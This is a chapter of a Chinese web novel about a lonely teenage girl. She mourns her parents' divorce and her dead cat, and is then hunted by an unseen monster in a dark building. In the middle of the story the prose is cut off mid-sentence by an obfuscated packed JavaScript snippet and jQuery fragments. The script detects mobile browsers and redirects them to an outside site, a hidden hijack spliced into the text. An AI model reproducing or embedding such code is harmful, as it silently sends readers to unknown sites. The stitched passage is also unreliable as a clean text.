九月末的参城还是很热，这种热意是逐年加重的。
郑欣芯记得，她小时候的九月末并不是这样。
那时她才刚上小学，妈妈给她戴上绿领巾，告诉她从此以后她就是名光荣的小学生了。
小学生！这实在是太酷了，郑欣芯想，她必须作好带头作用，要保护幼儿园的小萝卜头们，也要向四年级、五年级的大哥哥大姐姐们学习。有机会的话，一定也要像邻居姐姐一样，成为红旗手，在操场上给大家讲话。
所以她对自己的要求很严格，过马路前必须要仔细观察有没有人需要帮助，地上如果有被人随意丢下的糖纸、塑料瓶，她都会急匆匆地跑去捡起来。爸爸会很嫌弃地制止她，她总是气鼓鼓地反驳——
“爸爸，我可是一名小学生呀！”
当然，郑欣芯对自己的学习成绩也非常认真，上课从不开小差，不和自己最好的朋友说小话，不管自己到底会不会这道题，也一定要把手举得最最高，所有老师都喜欢她，希望她能成为自己的课代表。
她到现在都很清楚地记得，老师教给大家一个成语：秋高气爽。说的是秋天万里无云，凉爽舒适的意思。
老师当时问大家，谁可以用秋高气爽造句呀？郑欣芯为了回答问题，急得差点从椅子上站起来。
“昨天我和妈妈、爸爸，还有汤圆一起去世纪公园郊游，真是一个秋高气爽好天气。”她如愿以偿被喊起来，大声地说出自己构思已久的答案。
老师听了她的话，一边表扬她，一边好奇地问，汤圆是谁？
汤圆是谁？汤圆是一只比她还要先出生，又懒又馋的大胖猫。
想到这里，郑欣芯忍不住把头埋在膝盖里，小声哭了起来。
十五岁的郑欣芯是个什么样的人？问老师，答案估计是“挺聪明的，但是学习不上心”。问同学，估计是“怪胎，每天神神秘秘的”。问她自己呢，只需要三个字：糟透了。
如果小学生郑欣芯看到现在的自己，大约会感到深刻的梦想破灭的痛苦。她既没有成为红旗手，也不可能在操场上对大家讲话，她幼时所有的期待和盼望，都在一场场无休止的争吵中化成了泡影。
她再也没有和家人一起出去郊游过，家渐渐从四个人，变成三个人，最后总是只剩下她和汤圆。
那是哪一天呢？她记得那天下了一场很大很大的雨，妈妈好像给爸爸打了电话，她在电话里说：“老公，今天雨下好大，你来接我好不好？”
爸爸正在打一个特效很酷炫的游戏，他没有手拿电话，索性开了最大声音的外放。伴随着“扑哧”、“哗——”这样的音效，他漫不经心地说：“你自己打个车呗，我忙着呢。”
新一场争吵就这样爆发了。
郑欣芯抱着汤圆坐在门后，默不作声地听着他们口不择言的怒骂。汤圆毛厚厚的，平时最讨厌人类抱她，亲她的脸和鼻子，她总是忍耐不了两分钟就会喵喵大叫。但那一天，汤圆乖乖让她抱了很久很久，久到她的眼泪把汤圆的毛都打湿了，也没有发出一声不满的哼唧。
那之后很长一段时间，她都没有再见过妈妈。
再次见到妈妈是一个早晨，郑欣芯吃完早饭正准备出门，门却自己先开了。
门外站着的是个踩着高跟鞋，戴着墨镜穿着风衣的女人。郑欣芯一看到她，就发出一阵欢呼。
“妈妈！”她兴高采烈，“你终于回来啦。”
妈妈于是对她招招手，把她拉来伸手摸摸她的脸蛋，又紧紧抱住她。
郑欣芯又高兴又不解，她静静享受了一会妈妈久违的怀抱，忽然想起早自习的事，小声提醒她。
“妈妈，”她说出一句让自己悔恨到今天的话，“我还要去上学呢。”
于是妈妈就放开了她，深深地看了她一眼。
那之后，她再也没看见过妈妈，他们离婚了。
最初郑欣芯很不习惯，她对离婚还没有一个很清晰的概念。难道一张纸，妈妈就不是妈妈了吗？妈妈永远是郑欣芯的妈妈啊，她问爸爸，爸爸下班了总是一个人默默喝酒，或者出去打麻将，从不正面回答她的问题。
她是过了很久很久，才从喝醉的爸爸嘴里知道妈妈的消息的。
“你妈妈，嗝，早把你忘光了，”爸爸躺在沙发上，“她出国了，现在估计都有新男朋友了吧。”
爸爸说完就睡着了。郑欣芯坐在地板上，一个人看了一晚上月亮。
“老师教过我们，”她扭头看着走进房间责怪她熬夜的汤圆，“但愿人长久，千里共婵娟。妈妈和我会看到同一个月亮吗？”
汤圆也不知道听懂没有，她走过来抬起小脑袋，瞪着圆溜溜的眼睛看着她，于是郑欣芯就像妈妈走之前对自己做的那样，摸摸她的头，紧紧地抱住了她。
日子就这样慢慢继续向前走，小学生郑欣芯变成了初中生郑欣芯，再过不久就要成为高中生——老师们对此表示怀疑——或者职高生郑欣芯。
那些幸福又甜蜜的日子已经逐渐远去，就像一个贯穿了童年的美梦，郑欣芯醒来了，于是也长大了。
其实这也没什么，她对自己说，也许以后赚了足够多的钱就可以去国外看看妈妈，虽然她不知道妈妈究竟在哪个国家，又也许妈妈玩够了，就回国继续生活了呢？
她就这样怀着这丝小小的希冀，和汤圆依偎着过日子。
除了给钱，爸爸几乎不过问她的生活，只是最近这段时间总有些治安不太好的风声，他就找了一个姐姐接她放学。
直到有一天她回到家，发现哪里都找不到汤圆了。
汤圆年纪已经很大，是一只很长寿的猫了。尤其是到了今年，汤圆连最喜欢的玩具球也捉不动，每天几乎从早睡到晚上，只偶尔看心情来迎接郑欣芯回家。
郑欣芯明白，汤圆也许也要离开她了，也许是明天，也许是下一秒。
她加倍小心，把所有汤圆爱吃或者不爱吃但是对她身体有好处的东西都买来轮换着喂，有时候汤圆会控制不住地失禁，她也只是默默地收拾好一切，然后把自己关在厕所偷偷哭。
至少
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908291|176819||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……至少不能再让汤圆为自己担心了。
她这样想着，只贪心地想要多留住汤圆多一会儿，再多一会儿。
她把家里一口气翻了个底朝天，但就是没有汤圆的踪迹，无奈之下只好求助于家里唯一的成年人。
“爸爸，你今天回家了吗？汤圆不见了，是不是门没关好跑掉了？”
“啊……”爸爸的声音从话筒里传出来，显得有些陌生，“我今天上午回家了一趟，发现汤圆已经走了。”
爸爸说。
郑欣芯只觉得天旋地转。
接下来发生的一切都让她有一种不真实感，汤圆怎么会一个人偷偷离开呢？她明明和汤圆说好了要送她最后一程，汤圆还用自己湿漉漉的小鼻子碰了碰她的，这难道不是最可靠的约定吗？
爸爸还说要再买一只猫陪她，这怎么可以呢？别的猫都不是汤圆了呀！就算再买一千只一万只一模一样的猫，可那些也都不是汤圆了啊！就算他们也会用自己的小鼻子亲亲她，也会忍耐着脾气让她抱着大哭，可是他们没有一起经历过那些好的坏的事，没有和爸爸妈妈一起去过世纪公园，一起扑过不知道从哪逃进来的蟑螂，他们怎么可以替代汤圆呢？！
但是爸爸很忙，他没有时间开导郑欣芯，没有时间陪她走出失去家人的痛苦，他只是轻飘飘地扔下一句：“别哭了，下周带你去猫舍看看，你挑一只血统更名贵的，亲人。”
他就这样又一次消失在郑欣芯的生活中了。
郑欣芯在家里哭了一个晚上，终于握着手机暗暗下定了决心。
“哗啦——”好像是什么摩擦水泥地的声音，这声音很微弱，但郑欣芯的精神一直紧绷着，立刻就被唤回了现实。
此时此刻，她正躲在几个巨大的水泥袋后面，水泥袋和墙角围成一个绝佳的视觉盲区，她已经在这里躲了好一会了。
“爱哭鼻子的小女孩，”她听到一个沙哑粗粝的男声，“这么喜欢玩捉迷藏吗？”
那个声音好像更近了……她吓得屏住呼吸，蜷起膝盖压低肩膀，死死地捏住自己的脚，尽可能把自己缩成一团。
咚咚——
不要呼吸，忍住，就像之前一样，他一会就会离开。心跳快得就像要从嘴里跳出来，她催眠似的对自己说。
咚——
她莫名其妙被带到这里已经过了相当一段时间了，除了偶尔从不知道哪个角落里透出的一缕光线，这里百分之九十的地方都一片漆黑，令她完全无法判断时间。
咚咚——
她没有方向，也不能保持长时间移动，因为有一个怪物正在四处抓捕她。也许是怪物，或者是别的什么，她从来没有清晰地看见过它，只知道它靠近时能听到沉重的脚步声和金属摩擦水泥的声音。
咚——
想到这里，她忽然意识到那个声音似乎有段时间没有继续响起了，这里静得就像只有她的心脏还活着。
怪物……走了吗？
她轻轻地深呼吸一口，微微向前将眼睛贴在水泥袋间的缝隙里。